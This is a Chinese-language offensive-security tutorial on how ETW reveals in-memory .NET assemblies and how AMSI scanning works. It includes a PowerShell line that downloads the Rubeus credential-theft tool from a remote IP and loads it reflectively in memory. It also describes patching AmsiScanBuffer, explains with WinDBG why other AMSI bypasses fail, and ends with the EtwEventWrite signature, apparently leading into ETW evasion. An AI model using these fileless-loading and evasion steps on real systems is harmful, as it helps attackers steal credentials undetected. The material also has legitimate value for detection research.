Windows事件追踪
Windows 事件追踪器 (ETW) 提供了一种追踪和记录用户模式应用程序和内核模式驱动程序引发的事件的机制。ETW 最初是为了调试和性能监控目的而引入的,但现在它可以用于检视 IoC,例如内存中的 .NET 组件。
当 .NET 组件被加载的时候,Microsoft-Windows-DotNETRuntime 提供者会产生 AssemblyLoad 的事件。让我们在内存中通过 .NET 反射运行 Rubeus.exe
$data=(new-object System.Net.WebClient).DownloadData('http://192.168.0.45:443/rubeus.exe')
$assembly=[System.Reflection.Assembly]::Load($data)
但是,首先我们需要绕过 AMSI,因为 .NET 组件的内容也会被 AMSI 扫描。
使用通过补丁 AmsiScanBuffer 的脚本来绕过 AMSI 对 .NET 组件的扫描,这样我们成功地将 Rubeus 加载到了内存中。
在继续 ETW 的话题之前,如果你们好奇为什么使用攻击 AmsiInitialize 或者 AmsiOpenSession 的载荷不管用,我们跑个题来分析一下。使用 WinDBG 给 PowerShell.exe 进程设置 4 个断点:
amsi!AmsiInitialize
amsi!AmsiOpenSession
amsi!AmsiScanBuffer
clr!AmsiScan
输入恶意字符串 "invoke-mimikatz" 之后,AmsiOpenSession 与 AmsiScanbuffer 断点分别被触发,但 AmsiInitialize 与 AmsiScan 并没有。
如果执行 [System.Reflection.Assembly]::Load() 命令,我们会发现前 2 个触发的断点是一致的,都是对 PowerShell 脚本块的扫描。而后面触发的 AmsiInitialize 与 AmsiScan 断点证明了是对内存中 .NET 组件的单独扫描。
查看 clr.dll 中的 AmsiScan 函数,我们发现 AmsiInitialize 与 AmsiScan 有被调用,而 AmsiOpenSession 并没有。
总之就是,补丁 AmsiInitialize 的单行载荷无效是因为该载荷是通过更改 System.Management.Automation 命名空间的子值来实现的,而该命名空间是 PowerShell 的根命名空间,自然与 .NET 组件的 AMSI 扫描无关。而 AmsiOpenSession 并没有在 AmsiScan 中被调用。
总之,绕过 AMSI 并将 Rubeus 加载到内存中之后,会有什么其他 IoC 呢?使用 ProcessHacker 查看当前的 PowerShell.exe 进程,我们发现 .NET assemblies 页面中能看到 Rubeus 的明文,这就是 ETW 直观的作用。
简单分析后我们发现
ULONG
EVNTAPI
EtwEventWrite(
__in REGHANDLE RegHandle,
__in PCEVENT_DESCRIPTOR EventDescriptor,
__in ULONG UserDataCount,
__in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData
);